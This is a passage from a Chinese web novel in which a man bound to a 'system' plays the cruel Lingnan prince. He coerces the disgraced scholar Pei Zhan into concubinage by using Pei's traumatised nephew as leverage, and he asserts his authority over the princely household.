屋内又响起斟酒的水流声,男人停顿许久,才缓缓吐出一句话。 “——入我岭南王府,与本王为妾。” “如何?” 空气沉寂,烛火噼啪作响,烧出了一股甜腻的暖香,裴湛只觉得恶心,可男人接下来的每一个字,都像是石头,重重地砸在他的脊背上。 “对了,听说你家里还有个幼子。” “不会也姓裴吧?” “这岂非是欺君之罪?” 霎时,裴湛心头一空。 他用力闭上眼睛,那点不屈的火焰瞬间熄灭,只剩下认命后的一片荒芜,嗓音沙哑干涩,几乎耗尽全身力气, …是。” “草民明白了,多谢王爷抬爱。” 原著里的因缘巧合,直接被嵇燕台演成了早有预谋,N001看了一眼后台的任务进度条,不由得感慨一句此宿主的高效率。 “宿主你棒棒。” “接下来把主角带回王府就行了!” 光屏中,男人的脸上溢出一丝慵懒的微笑,看起来竟有些残忍。 “这就行了?” 他敛着眸,盯着地上那道青色背影,默声道:“系统,你不是让我扮演一个对主角虐身虐心的老变态么,这才哪儿到哪儿?” 话毕,嵇燕台目光随意一扫,落在旁边软榻上一件薄如蝉翼的艳红纱衣上。 他慢吞吞地起身,拈起那件红纱,随手往裴湛身上一掷。轻飘飘的纱,仿佛千钧重,兜头盖脸地罩在青衣男人的身上。 “换上吧。” “今夜便是你与本王的洞房花烛夜了。” 裴湛只僵了一瞬,便缓缓抬手,扯过肩上那件透明的纱,正要往身上披,却听男人悠悠道了声, “慢着,你先起来。” 裴湛拎着纱衣,依言站起身来。 嵇燕台笑吟吟地望着面前的人, “裴之一字,上非下衣,非就是没有’的意思,这两个字合起来解释,岂不就是‘没有衣服’?” 他抬手,隔空点了点裴湛的衣襟, “先脱,再穿。” 裴湛的脸色很苍白,却因红烛显出两分薄红。他紧盯着地面那块扭曲的影子,艰难地抬起左手,将身上一件件衣裳褪下来。 他有软肋,只得受人摆布。 系统空间里。 NO01盯着被打上马赛克的光屏,沉默片刻,有些目瞪口呆地感慨道:“哇哦……. “这个宿主好会侮辱人。” 嵇燕台没听到系统对自己的评价,要不然他还要反过来感慨一句,“这才什么段位?你对封建糟粕的力量 无所知!” 要知道…… 天底下最肮脏的事情,尽在天子家。 嵇燕台看着裴湛仅披着一件轻纱,站在自己面前,不带感情地上下打量了几个来回,回身,从桌上捏起一只白玉酒杯,亲手递到他的唇间。 杯沿抵着裴湛失了血色的唇瓣,压出一道痕。 嵇燕台微微一笑,问他, “新婚之夜,怎么能不喝合卺酒呢?” 裴湛抬起手,指尖冰凉,可还未碰到杯壁,嵇燕台便倾斜杯身,冷不丁将酒水灌入他的唇峰间。 他反应不及,酒液顺着下颌淌下来。 嵇燕台灌了裴湛一杯,自己却不喝,只漠然地看着他狼狈的模样,随手将空酒杯扔在地毯上,发出一道沉闷的碰撞音。 “既然入了本王的门…… 他用食指挑起裴湛的下巴,动作间,带着一种审视物品的轻佻。他的语调亦是不咸不淡,内容却字字如刀,割着裴湛身为男性的自尊。 “那便叫声‘夫君’来听听?” 盯着清俊男人脸上那抹飞逝的屈辱,嵇燕台心中那股被系统二度绑定的郁气终于消解了几分。 他轻声笑笑,又拍了拍裴湛的侧脸, “算了,今儿不为难你了。“ 都说“比较是偷走幸福的小偷’,可嵇燕台不这么认为,他将自己跟裴湛此时的处境一比较……… 嗯,幸福了。 屋里就两人,他不是更倒霉的那一个。 嵇燕台在心里哈哈大笑。 —我可真特么坏啊。 ——一封建社会,真特么糟践人。 挺好的。 兜兜转转,他还是作践别人的那一个。 真是不幸中的万幸 …… 272、Chapter 272 …洞房花烛夜。 裴湛站在青楼厢房内,胃里像是有什么东西翻搅着,让他几欲作呕。艳红纱衣什么都遮不住,尊严被他剥落在脚边,无人拾起。 我在干什么? 裴湛抿紧唇,冷冷地想着。 他自幼熟读圣贤书,学的是君子端方,顶天立地之道,如今却在干什么? 以色侍人? 裴湛清醒又恍惚,指尖不自觉地颤抖着,被男人轻拍好几下的脸烫极了,心口似裂开一道口子,冷风往里刮,屈辱与羞耻却齐齐涌出来…… 他敛着神色,任由岭南王上下打量。 就像打量一个物件儿。 换做去岁的他,决计想不到一年后的自己能忍受此辱,也决计想不到…. 家破人亡,就在一夕间。 那时的他春风得意,簪花游街,是天子钦点的新科探花郎,满腔抱负正待实现,整个人意气风发。 家宴那晚,烛火煌煌。 父亲裴守望捋须含笑,母亲眼中是掩不住的骄傲与慈爱,大哥特地从太医院告了假,匆匆返回家中赴宴,“好小子,光耀门楣了,往后爹再也不用唉声叹气,气我这个长子不务正业,醉心医术了!” 嫂嫂抱着小侄儿,睨了他一眼, “爹在看你呢。” 话音刚落,裴守望冷哼一声。 大哥端着酒杯,重重拍他的肩,摆出一副唉声叹气的愁苦模样,“你看你看,如今爹对我鼻子不是鼻子,眼睛不是眼睛的!” 母亲看着他们说笑,眉眼弯弯。 席间,三岁的小侄子伸出胖乎乎的小手,闹着要跟二叔坐一块儿。裴湛轻笑着将他接过来,用一块桂花糕哄他,忽又听见大哥说: “二弟是不是该相看亲事了?” 十七岁的少年郎,面皮有些薄,骤然听到‘相看亲事”,忍不住垂下眼眸,盯着杯中清亮的酒液,心中却隐隐升起一股期待。 红烛高照,举案齐眉。 锦绣前程与家宅安宁,仿佛触手可及。 无论如何,一年前的裴湛怎么都想不到——自己曾抱有憧憬的洞房花烛夜,居然是如此不堪的景象。他衣不蔽体,宛如玩物。而那夜家宴,竟是裴家最后一次齐聚。宴会尾声,宫里来了人。他的大哥裴淇被召入宫,为贵人诊治。 紧接着,一道谋逆的罪名以迅雷不及掩耳之势降下来,裴府上下被打入大牢,判以极刑,大哥裴淇更是直接死在了宫中。 裴湛活了下来,却被狱卒挑断了右手的筋。 那只执笔挥毫,写下锦绣文章的右手,如今只能勉强握箸,再提不起一支有分量的笔。 离开京城那日,天空灰白。 恩师容含章在朝堂沉浮半生,清名在外,却因他而遭人耻笑。老者的头发花白,眼中的惋惜和悲痛难藏,“走吧,永远不要回来……”. “容阙去得早,我只想你活下去。” 闻言,裴湛眼前泛出一片模糊的水光。 他跪倒在地,对着恩师,重重叩了三个头,带着怀里的幼儿远走岭南。 那日在宴上咿咿呀呀背诗的裴允书像是一盏熄灭的灯,整日沉默着,宛如一尊失了魂的木偶,只在夜深人静时,发出惊悸的呜咽哭叫。大夫说,这是离魂之症。 在岭南这半年,裴湛忙碌于生计,带着痴傻的裴允书四处求医。在为茶楼酒肆清算账本之际,他也曾听到过众人私下议论岭南王。 当今圣上一母同胞的亲弟。 圣上登基之后,他便得封岭南王,此后十数年不曾离开岭南,也不娶妻纳妾,只流连于花楼,荒唐至极。 众人压低声音,悄然道: “听说他年少时,在京城遭贼人毒坏了身子,再不能人道了,整个京城都知道这件事,所以王爷才向圣上讨了这块封地。” … 裴湛没想过,有一天自己会与这位岭南王产生交集。如今的他只想远离皇权,照顾好大哥裴淇留下的唯一血脉…… 终究是,事与愿违。 轿帘隔绝了外间,只余一片昏暗。 裴湛不知道自己是如何坐上轿子的,他木然地坐在一侧,轿身微微摇晃,每一次颠簸,都让裹在宽袍下的那层薄纱摩擦着皮肤,仿佛无数细小的针扎在他身上。 眼下的情况不容他缄默。 “王爷,”裴湛的喉头发涩,语气恭敬,“草民家中还有幼儿,可否延缓…….”话未说完,岭南王沉吟一声,“哦,差点忘了。”“你还是个带崽的。” 男人的语气很轻慢,姿态也慵懒散漫,斜斜地倚在轿窗,先是冲外头的侍卫报出一个详尽的地址,又道:“去把侍君的小公子道接入府中。” “遵命。” 裴湛全身的血液都凝固了。 在离开京城,前往岭南的一路,他行事低调,自以为谨慎,如今却被岭南王一语道破藏身之所。 原以为,今晚的际遇或许是一场偶然… 裴湛心中的最后一丝侥幸,在男人一句轻飘飘的交待之下,尽数消散。他咬住下唇内侧的软肉,任由铁锈气息在口腔中蔓延,让疼痛带来一丝清明。 他对自己的处境有了更加清楚的认知。 岭南王好颜色。 而他,除却这一身皮囊,再无其他。 裴湛艰难咽下血沫,强迫自己抬起头,在轿厢昏暗的光线下,望向那个主宰着自己和裴允书命运的男人。 岭南王正注视着他,面上带笑。 他的唇角微微向上弯着,似乎噙着一丝若有若无的笑意。然而,当裴湛的视线撞上那双眼睛时,心口却下意识一紧。 那是一双深不见底的眼瞳,里面没有温度,充斥着冰冷的审视,像在打量一件刚收入囊中的器物,估量着它的价值与用途。 这就是天潢贵胄。 生杀予夺,尽在掌握。 无形的重压,随着那目光沉沉落下,压得裴湛有些喘不过气。 许久,他才听男人悠悠开口: “你不必担心,我已派人接孩儿一道入府,自会为他请最好的医师,治好他的离魂之症。” 裴湛指尖猛地一颤,“.……多谢王爷。” 轿厢轻轻晃。 嵇燕台斜倚在柔软的锦垫上,压根不顾裴湛死活地 剧透’,见他脸色愈发苍白,心里有些乐,面上却气定神闲。 “客气了。”他说。 嵇燕台唇角的弧度加深了一分,状似漫不经心地问道:“本王为裴侍君如此尽心尽力,不知裴侍君心中作何感想?嗯?”说完,他调整了一下坐姿,双腿岔着,很霸道。 NO01:“宿主你好油啊。” 嵇燕台无声应道:“油就对了。” “我在模仿我上辈子的太子哥,他简直是人间油物,天天调戏小宫女,小妃子,喷…… NO01:“?” NO01:“为什么还有‘小妃子’这个选项?” 嵇燕台:“后宫的水太深,你懂的。” 这头,嵇燕台跟系统悠哉悠哉地‘说着话,那头的裴湛却沉甸甸的。他隐约嗅到那件艳红纱裙溢出来的脂粉气,染了他满身,混着口腔里残存的血腥味,透出一股令人作呕的味道。可他还有选择吗?刹那间,裴湛得出答案。 于是,他轻轻跪在岭南王脚边,又抬手将外头那件蔽体遮羞的外袍揭开,随后,挺直的脊梁骨一寸寸弯折下去,像一只渴望垂怜的小猫小狗,温顺地伏在男人的膝边……裴湛只觉得心口的位置,仿佛被一柄钝刀反复切割,痛得麻木,只剩下无边无际的空洞和冰冷。 有什么东西,在这一刻彻底死去了。 他闭了闭眼,又将侧脸贴在男人华贵衣袍的暗纹上,改口道:“裴湛乃是卑贱之身,今日幸得王爷垂怜,无以为报……” 头顶上方,传来一声很轻的嗤笑。 裴湛的指尖在颤—手筋断裂的右手颤得格外厉害,他的两只手顺着岭南王的外袍,很缓慢地爬上了里头。 锦缎摩擦,发出细微的声响。 轿厢里很安静,衬得这响动刺耳极了。 感受到腰带的松动,嵇燕台敛下眼,在裴湛打算垂着脑袋靠过来之际,冷不丁抬脚踩住他的左肩,让他无法再接近半分。 裴湛身形一顿,微仰起脸。 嵇燕台发现他整张脸都白了,眼睛有些空,仿佛被人按进水里好半晌,几乎喘不过来气。 瞧着,还挺可怜。 嵇燕台单手撑着下巴,另一手好整以暇地搭在膝上,指尖那枚墨玉扳指泛着幽冷的光泽。 他轻轻一吸气,“裴侍君…… 见裴湛的视线逐渐聚焦,嵇燕台语气惊讶地往下说,“听闻你们裴家是书香门第,家风清正温良,最讲究礼义廉耻那一套,你又饱读诗书,年纪轻轻考上功名,曾于殿上受封……一声叹息落下。 嵇燕台说道:“你是读书人啊。” 裴湛听到男人提起裴家,呼吸几近凝滞,直至那声叹息入耳,笼罩他全身的寒意瞬间散去,臊意自脚底攀升,一下子涨到了脸上。 岭南王字字不提,却字字在说他…… 下贱。 嵇燕台踩着他的肩,上身微倾,嘴巴靠近裴湛的耳朵,像是为他遮掩一二,小声道:“你怎么能比软香楼里的哥儿姐儿还不讲究呢?这些年,你的书都读到哪里去了?” “你父亲泉下有知,该如何自处?” 他弯着腰,阴影压下来。 裴湛跪在他脚边,似乎要被彻底吞没。 就在这时。 轿身猛地一顿,稳稳停住。 轿帘外,侍卫恭谨的通报声穿透沉滞的空气,清晰地送了进来, “王爷,王府到了。” 闻言,嵇燕台放下脚,起身,在裴湛身前整理好被他扯松的腰带,然后拍了拍他的肩膀,先步离开了轿子。 什么都没发生。 轿帘重新落下,遮住里头的光景。 王府大门的灯火明亮,轿子里却是一片深不见底的暗。裴湛跪在原地,听到岭南王让人将他连人带轿抬进后院里。 也是体贴,免了他衣不蔽体的羞耻。 裴湛面无表情地抬手,抹了一下脸。 有些湿。 273、Chapter 273 “嘭。” 岭南王府的朱红大门合拢了。 当那顶轿子穿过重重门廊,踏上一条通往后院的垂花门时,嵇燕台听到脑海深处响起一声叮,系统播报道:“宿主,第一个关键剧情点已补全。” 随即,又是嘭嘭两声。 嵇燕台一回府,府中下人便跟了上来。他随意地挥挥手,动作带着养尊处优的慵懒,吩咐道:“去书房,备茶。” 然后,他才无声问道:“你这什么动静?” 跟嵇燕台的上一个皇帝养成系统不一样,这个所谓前夫哥扮演系统的电子音听起来很人性化,理所当然道: “我给宿主炸了两个烟花咧,岭南王后院空落落的,这也算是宿主第一次娶老婆… “适当庆祝一下嘛!” 闻言,嵇燕台脚步微顿。 先前在软香楼,他嘴上说今晚是自己与裴湛的洞房花烛夜,心里却很不当一回事,随口纠正道:“这算什么娶老婆?” “他是妾室。” 嵇燕台想了想,补充道: “充其量,算是我的小老婆吧。” 要知道,封建社会的妾室是没有人权的,是主人家的高级奴婢和私有财产。 打个比方,要是裴湛能生孩子,那孩子都不能管他叫娘。 系统光屏前。 N001听了一耳朵嫡庶分别,忍不住战术后仰,问道:“哦咦……宿主你不是现代人嘛,还在意这些嫡嫡道道?” 嵇燕台淡定颔首,随即无声吐出一句好优美的中国话,“管你屁事?” NO01闪了闪自己的屁灯。 能量不足,只能局部发亮了。 好惨一个统。 NO01看了一眼后台任务进度条。 按照古代的时辰算法,绑定嵇燕台不过短短一个时辰,对方就顺利补全了第一个关键剧情点,且还是强取豪夺的剧情。 作为现代人,多多少少会有些不适。 然而,嵇燕台没有表现出一丝纠结和抵触,举手投足间,展露出王公贵族的气度,看起来对古代阶级分明的生态很适应。影帝都没这么快入戏。 联想到该宿主先前跟自己那几句闲聊,NO?1语气亲热地刺探道:“差点忘了,宿主你上一次被绑定,也是在古代世界哦?”“那个系统是怎么回事啊?” 说着话,N001很遗憾地把视线从蓝色光球身上移开,心想:如果能生吞个野生系统,补充能量…… 真真是极好的 ….丫鬟在前侧提着灯笼,照亮脚下的路。前头书房的纱窗透出光来,嵇燕台背着手走进去,桌上的茶水温度正好。他坐下来,端起茶杯啜了一口。听那道电子音在自己耳边一个劲儿地跟我说说嘛,跟我说说嘛,嵇燕台不答,心神一动,那面小说光屏便跳了出来。他抛开杂思,飞快扫了一遍全文。……好多地方都记不清了。不多时。嵇燕台确认了自己最为关注的一件事。作为原著中的渣男前夫哥,岭南王这个角色起到一个磨炼主角心性和送经验包的作用。可以说,除了最后被反杀的那一刻,嵇燕台是绝对的上位者,对主角裴湛有着完全的掌控权。正所谓山高皇帝远。在岭南,没人能骑在他头上。对于当前这个局面,嵇燕台还算满意。他捏起茶杯,瞥了一眼身上这套华贵却松垮的深紫色锦袍,以及袍子下那副明显缺乏锻炼的躯体,也不挂念失去的八块腹肌了。开玩笑。八块腹肌算什么。一觉醒来,发现自己是皇帝临幸宫女搞出来的庶皇子就老实了。宫女妈还跟太子哥有染,最后那两人东窗事发,害得他裹在襁褓里喝奶的年纪,差点被老皇帝灌毒酒。简直是天崩开局。在这种情况下,那个皇帝养成系统 还要嵇燕台独自与天争,与地斗,金手指不见半点影子,只给他留了一个回档功能。只要他在登基前丧命,就能自动回档。嵇燕台已经记不清自己回档多少次了,好在最后他终于在十八岁‘高龄’登上皇位,成功解除了回档功能。两厢比较一番还是当油腻肾亏老登好一点。哪怕底下人的心大了,敲打一番就成了,大不了就换掉,横竖翻不了天。思及此处,嵇燕台又啜了一口茶水。下一瞬。书房外传来一声通报。在嵇燕台应声后,一个穿着深褐色绸缎裆子,头发梳得一丝不苟的老嬷嬷半步踏进来,先是屈膝行了个礼,然后温声问道:“王爷安好。”“老奴斗胆请问,新入府的……侍君,该如何安置?老奴好去安排。”嵇燕台眼一抬,很快认出来人的身份。岭南王府里头的主子只有一个,就是他—岭南王,王府后宅很冷清,内宅事务全由这位刘嬷嬷把持着。她是岭南王的乳娘,从京城一路跟来的老人。 嵇燕台淡道:“你看着安排便是。” 他想了想,补充道:“挑个清静些的院子,再送几身衣裳过去。” “是,老奴省得。” 刘嬷嬷恭敬应下,垂着眼帘退下。 待走出几步,远离了书房,她才微微侧头,低声问身边一个伶俐的小丫鬟,“可打听清楚了?那位是什么来路?” 那小丫鬟的面色有些红,显然是刚从外面得了消息,快步回来的。她悄声应道:“回嬷嬷,听侍卫们说,是王爷从软香楼带回来的。” “软香楼?” 刘嬷麽脚步一顿,面上有些惊,“王爷从前可从不会将那种地方的人带回府里,还是个男子… 莫非是手段厉害? 刘嬷嬷一边犯嘀咕,一边拿钥匙开库房,挑了些东西,正带着人往后院走去,正巧路上遇到另一队侍从。 为首的中年男人,是王府的外院总管卫都。 他身后跟着一个抱小孩儿的丫鬟。那丫鬟垂着脑袋,大气不敢出,怀里的孩子伏在她肩上,看起来呆呆傻傻的。 这一夜,岭南王府不得安眠。 府中上下都听说了,王爷从软香楼里带回来一个侍君,连带着他家中的幼子也接进了府中照顾,简直惊得人眼珠子都要掉出来了。 惊讶完,便是好奇。 不知为何,王爷当夜并未宠幸于侍君。 阖府上下都在犯嘀咕。 ……这到底是受宠,还是不受宠呀? 翌日,大早。 嵇燕台睡了个安稳觉,精神头还不错,起床后做了一套广播体操,然后沐浴更衣,用早膳,仿佛压根不记得自己昨晚带回来的人。 系统在他耳边提醒道: “宿主,你不去见一下主角吗?” 嵇燕台吃了个七分饱,放下筷子,接过丫鬟送上来的漱口水,“急什么?昨天才把人气哭了,我要是再辱他一回,他要是一个冲动,一脑门撞柱子怎么办?” 文人,气性大。 N001:…就单纯一起吃个饭嘛。” 嵇燕台看了眼任务面板,确定第二个任务的内容是:在各种场合,包括但不限于王府中,折辱主角裴湛,让他痛苦不堪,而不是找他单纯吃个饭。 NO01还在怂恿:“他是你小老婆诶。” 嵇燕台眸光微动,任由丫鬟用温热的帕子为自己擦手,良久,才慢悠悠地道了声, “我有小老婆,你在这又唱又跳干什么?” 嵇燕台简单嘲风了一句,放下茶盏,冲一旁的侍从道:“去,把裴侍君带到正堂来,另外,召集府里所有管事和有头脸的仆役,都到前院候着,认一认新主子。” 这一遭不是为了裴湛。 在任务之前,嵇燕台需要更加清晰地确认,在这座王府里,自己的意志要如呼吸一般自然,无人敢有半分迟疑。 裴湛是一个很好的由头。 命令很快传了下去。 然而,时间一点点过去,底下人已经齐了,嵇燕台坐在正堂,另一个本该出现的人却迟迟未到。 众人低眉顺眼,屏息凝神。 坐在正堂主位的男人,指尖有一下没一下地敲着紫檀木扶手,眼神渐渐沉了下来。 又过了约莫一盏茶功夫。 一个负责去后院传话的丫鬟低声回禀道:“王爷恕罪!裴侍君,他……他不肯来。” 不肯来? 听到这话,嵇燕台敲击扶手的动作一顿,忍不住轻笑一声。昨晚初见,他便给了裴湛一个下马威,那人怕是一夜未眠,哪里敢不来?“好吧。” 嵇燕台站起身,宽大的锦袍随着他的动作微微晃动。他并未理会跪地的小丫鬟,径直向外走去,“他不肯来,那本王亲自去请。” 他步履沉稳地走向后院。 裴湛住的小院儿确实冷清。 嵇燕台慢悠悠地走着,刚到院门口,就听见里面传出几声低低的规劝。 正屋的门虚掩着,他推门而入。 里头的景象映入眼帘。 裴湛正坐在镜前,换了身水蓝色的锦缎常服,倒是合身,衬得他身形清隽。 几个丫鬟围着梳妆台,手里还拿着胭脂水粉和眉黛,轻声劝道:“裴侍君,还是上些妆吧?你眼下的痕迹该遮一遮,到时候王爷瞧了着也高兴呀…” 见此情景,嵇燕台挑了挑眉。 这时候,丫鬟们也回头看过来了,随后纷纷跪地行礼,“拜见王爷!” 裴湛循声望过来,脸色果然不大好看。 他的五官清俊雅致,眉眼间带着书卷浸润出的温润,像青竹又像温玉,如今面色微白的憔悴模样绝不算丑陋,反倒多了两分勾人的病气。 嵇燕台站在门边,冲他上下打量。 许是他的视线太直白,让裴湛想起了昨日的种种不堪。嵇燕台瞥见他迅速垂下眼睫,并放低声音,语气里带着一丝不易察觉的恳求, “.…王爷,可否不上妆?” 嵇燕台笑了笑,缓步靠近,像逗小猫一样,用指头挑着裴湛的下巴轻轻挠了两下,“哪有人像你这般求人的?半点好听话都不会说。“ “还让本王干坐着等你。” “哎,本来还想带你去主院认认人,再陪你去看看孩子,谁知道你这样磨磨蹭蹭……真不知道究竟我是主人,还是你是主子?” 裴湛不敢躲,强逼自己仰着脸。 听到男人这番话,尤其是听到‘孩子”二字,他不由得浑身一震,牵挂了整夜的心像是被一只手攥紧了,不上不下的。 裴湛不再求,当即改口道: “王爷恕罪,我这就让她们为我上妆。” 嵇燕台笑吟吟地说:“你若是想上妆,只能改明儿了,今天我可不耐烦再等你了。” 说完,他的目光缓缓扫过跪了一地的丫鬟,扫过她们手上的胭脂水粉,冲门外淡淡吩咐了一声,“把她们都带下去,问问清楚,究竟是谁想要做裴侍君的主子,为他做主。”话音刚落。 众人惶恐磕头,齐齐央求道:“王爷饶命!王爷饶命啊!奴婢绝没有不敬的心思!” 嵇燕台可以随意折辱裴湛,只要他想,他甚至可以让裴湛像一只小宠般朝自己卖娇。 这是他的权力。 可这件事他做得,旁人却是万万做不得的,否则就是打他的脸,挑战他在王府中说一不二的权威。 嵇燕台捏了捏裴湛的脸,玩笑道:“这下高兴了吧?可别再哭了,我要心疼了。” 裴湛抿抿唇,不曾从男人眸中读出一丝心疼的意味,反而听出了一股杀鸡儆猴的敲打之意。 见男人松了指头,他默了默,偏过头,飞快地在男人的掌心里蹭了一下。 嵇燕台满意地收回手。 真是收获满满的一个早晨啊。 274、Chapter 274 短短一个上午,嵇燕台借着裴湛的名头,将岭南王府上下敲打了一遍。毕竟他可不是原著里描写的那般——沉迷于人体动态艺术,府内琐事全然不管,统统交由身边心腹来处置。 很多时候,纰漏就出在琐碎小事之上。 嵇燕台对他人的信任实在有限。 这个‘有限′,基本可以归零。 嵇燕台早习惯了将权力捏在自己手心里,否则夜里觉都睡不安稳。 万幸的是,他如今并不在皇城内,而是以王爷的身份占据岭南地界,且周遭不存在任何竞争者。 只要他不想着谋权篡位,去皇位上坐一坐,躺一躺,寻常的欺男霸女行径,也不过是小事一桩。 不得不说,嵇燕台着实松了一口气。 累了。 这辈子真的不想再肝皇位了。 这种事情还是让主角和他的崽来做吧。 嵇燕台的皇家集体荣誉感非常有限,眼下这个江山又不是他的,而作为岭南王这个角色,他都以统治者的身份爽到最后一秒了,还要什么自行车? 死后管他洪水滔天呢。 嵇燕台问过了,这个系统没有回档功能。 太好了。袍是个废物。 时间过得很快。 转眼,就到了用午膳的时刻。 在王府管事与一众仆从面前,嵇燕台给了裴湛极大的体面。与昨日的轻慢态度不同,话里话外,几乎要众人将他当成岭南王妃看待。 言行举止间,好似在为裴湛撑腰。 正厅内,檀香袅袅。 裴湛端坐在岭南王身侧,身下的紫檀木椅镂刻着花鸟鱼虫,堪称精妙绝伦。他任由府中下人—跪拜行礼,却不觉得自己的地位有什么不同。 跟这些仆从丫鬟一样…… 他亦是岭南王掌中的物件,无非是摆放的位置不同,承受的“把玩’方式各异。 仆从给他的尊重,他终究要偿还。 裴湛忆起男人昨夜在轿中的轻语,只觉得一阵刺疼,愧对于九泉之下的高堂。 可他身不由己,无可奈何。 裴湛将思绪压下,惦念着另一件事。 他侧过脸,敛着眸,问道:“王爷,既然认过了人,我能不能去见见允书?” 从昨夜到现在,裴湛还未见过侄儿。 他一夜未阖眼。 裴湛心知,既然岭南王以裴允书为把柄,将自己强纳入府中,当下便不会要了侄儿的性命,可他心底的焦灼愈发浓重,快要坐不住了。 裴允书身患离魂症,会夜惊。 白日里还好,有个叫连翘的丫鬟会照看他,然而每当裴允书夜惊时,只有裴湛能近他的身。 裴湛怕他夜里见不着自己,病情加重。 偏偏昨夜他身处后院,不得出,又整夜不见岭南王的身影,想求人都没法子 …. 一个上午了。 嵇燕台被裴湛暗瞟了好几眼,只充当不知,待对方按耐不住了,才施施然地唤人传膳,“去,把小公子抱过来,一同用膳。” 交代完,他站起身,一把拉过裴湛的右手,把人往膳厅里带。裴湛下意识想抽回手,又硬生生地止住动作,随岭南王迈出正厅。 仆从们跟在后头,不言不语。 嵇燕台佯装没察觉到他的僵硬,自顾自地将那只手举到身前,饶有兴致地把玩起来。 那只手,是属于读书人的手。 五指修长,骨节分明,匀称而秀气,指腹和虎口处覆盖着经年握笔磨出的薄茧,透着一股书卷气。 嵇燕台手一翻,“你还有小月牙呀。” 他指盖上就没有。 裴湛没吭声。 嵇燕台慢条斯理地摩挲过他的手背,沿着骨节一路滑向手腕内侧。在那里,一道横贯整个腕部的深褐色疤痕,盘踞在白皙细腻的皮肤上。 他曲起食指,在凹凸不平的疤痕上轻轻刮过,明知故问,“这是怎么了?” 裴湛手臂发僵,淡声应道:“手筋断了。” “这么可怜呀,”嵇燕台语气轻飘飘的,带着一股刻意的惋惜,“我已经让人去寻名医了,要不然也给你治 治?说不定还能拿起笔呢。” 是一定可以。 原著中有一个名为常有道的民间医师,裴湛经历了长达一年的治疗和温养,手伤最终痊愈。 只不过到那时候,嵇燕台大概已经下线了,所以他说得也不是很走心,裴湛却愣了一下,忍不住扭头看向男人。 他的眼睛会说话。 嵇燕台唇边勾起一抹意味不明的弧度,捏着裴湛的手腕晃了晃,“你看,本王对你好不好?” 裴湛垂下眼,“王爷待我极好。” 恰时,正好穿过回廊。 日光熹微,嵇燕台瞥着裴湛低垂的侧脸,和紧抿的唇线,忽又听到他轻声问道:“王爷如何知道我住在永安街巷?京中…….” 嵇燕台知道他是趁机试探,但笑不语。 总不可能告诉裴湛,自己是从小说里看到的吧? 说起来,在嵇燕台还没有被皇帝养成系统绑定的时候,他还是看着裴湛“出生’的呢,若是论资历辈分,裴湛得唤他一声叔叔。 现在好像也行? 嵇燕台思忖着,他现在这具身体的年龄是二十八九岁,而裴湛满打满算也才刚满十八周岁…… 两人的年纪差了快一轮了。 换做现代社会,裴湛还是读高中的年纪呢,却在没成年时嫁给一块牌位,如今又给一个奔三老登做小男妾。 抵达膳厅后。 嵇燕台率先在主位坐下,示意裴湛坐在下首,然后用筷子指着桌上那道品相精致的水煮白菜,冲人摇头叹气道:“你看这颗水灵灵的小白菜……” 像不像你? 就在这时,厅外传来一阵脚步声。 丫鬟抱着一个裹在柔软锦缎里的瘦小身影走了进来。在她踏进门槛的瞬间,裴湛忍不住站起身来,将幼童接到自己怀里。 “允书……. 四五岁的孩子不见去岁的圆润粉嫩,小脸瘦出了尖,面色泛着几分不健康的红,葡萄似的大眼睛呆愣愣的,不见一丝光彩。 大抵是昨夜哭得厉害,眼皮肿得像是金鱼。 嵇燕台兴味盎然地盯着裴家仅存的一大一小。 就见裴湛低着头,脸颊贴着裴允书的头发,脊背稍稍放松,肩膀形成一个保护的弧度,注视怀中幼童的视线很柔和,声音轻极了, …允书,小叔在这里。” 那张清俊的脸上,第一次褪去了面对嵇燕台时的戒备,麻木与屈辱,嘴角因怀中的幼童弯起一道很轻的弧度。 然而,裴允书对裴湛的呼唤和亲昵毫无知觉,宛如一尊毫无生气的瓷娃娃。 嵇燕台安坐着,瞥见那孩子稚嫩的指头搭在裴湛的肩头,不经意地揪住了他的一缕长发。 按照现代医学来判断,裴允书大概是在遭受巨大刺激后,患上了失语症。 这是一种创伤后应激障碍。 此类患者需要亲人的耐心陪伴,才有一定概率走出心理阴影,恢复正常。 嵇燕台回忆了一番原著中,裴允书病情恢复的片段,不由得暗暗感叹一句,这对叔侄实在是感情深厚啊。 大的那个,为了小的,甘愿委身于变态老登;小的那个,为了大的,居然突破了心理障碍,主动开口说话。 “小叔,杀了他吧。” “我不要你疼。” … 几乎是同时,嵇燕台忆起了另一段远久的记忆。 那是他第一次读档之前的事情了。 他的宫女妈与太子有染,东窗事发后,老皇帝勃然大怒,当即废了太子,又赐死了他的宫女妈。嵇燕台通过了老皇帝的滴血验亲,才勉强留下一条性命。 当时,他分外感谢古代社会的不科学生理知识。 好景不长。 一个没有母家,又被老皇帝厌恶的庶皇子是无法在深宫中立足的。嵇燕台最终没能活过降生后的第一个冬天,活生生饿死在冷宫中。 紧接着,他迎来了首次读档。 嵇燕台吸取失败经验,趁宫女妈和太子哥被人发现之前,在襁褓里嚎啕大哭,让两人躲过这一劫。 虽然这么做很对不起老皇帝,但他有那么多个老婆,嵇燕台只有一个妈。在位高权重的太子面前,一个小小宫女又能怎么样呢? 这一回,他艰难地活到三岁多。 嵇燕台总觉得这样也不是办法。 于是,他在宫女妈面前展露出了远超三岁的情商与智慧,给她出主意,以此躲避太子一次次的私下接触。 万万没想到的是— 几天后,一个夜晚。 嵇燕台迎来了第二次读档。 那个曾因他的啼哭,侥幸躲过一劫的生母,大抵是为了自保或是受到太子蛊惑,悄然扼住了熟睡中孩子细弱的脖颈,亲手结束了他的第二次新生命。 “啪嗒。” 思绪回笼。 嵇燕台将筷子丢回了桌子上。 裴湛听到这声响,心神一惊,连忙冲主座上的男人躬身告罪。嵇燕台淡然颔首,脸上甚至还带着一丝堪称温和的笑意。 他起身,冲裴湛怀里的孩子伸出双手,双眼却紧盯着裴湛,温声道:“你不是右手有伤吗?来,把小允书给我。” “让叔父抱抱。” 话音刚落,裴湛神情一滞。 比起正厅那一会儿,岭南王的神情温和多了,但不知为何,裴湛却后背一寒,他下意识将怀中的孩子抱得更紧,不肯松手。 短短一瞬,裴湛恍然反应过来了。 他将裴允书往连翘的怀里一塞,轻声吩咐道:“允书年纪太小,性子又愚钝,莫要扰了王爷用膳的心情,还不快把他带回去。“ 连翘的表情很惶恐。 嵇燕台笑吟吟地收回手,坐了回去,还帮裴湛催了一句,“你没听到裴侍君说的话吗?” 很快,膳厅安静下来。 只剩两个人,一站一坐。 裴湛侧过脸,瞧见岭南王斜斜地倚在椅子里,指头在扶手上一下下地敲着,神情看不出喜怒。 他定了定神,走到主座旁…… 然后,打着横,坐进了男人的怀中。 裴湛心中木然。 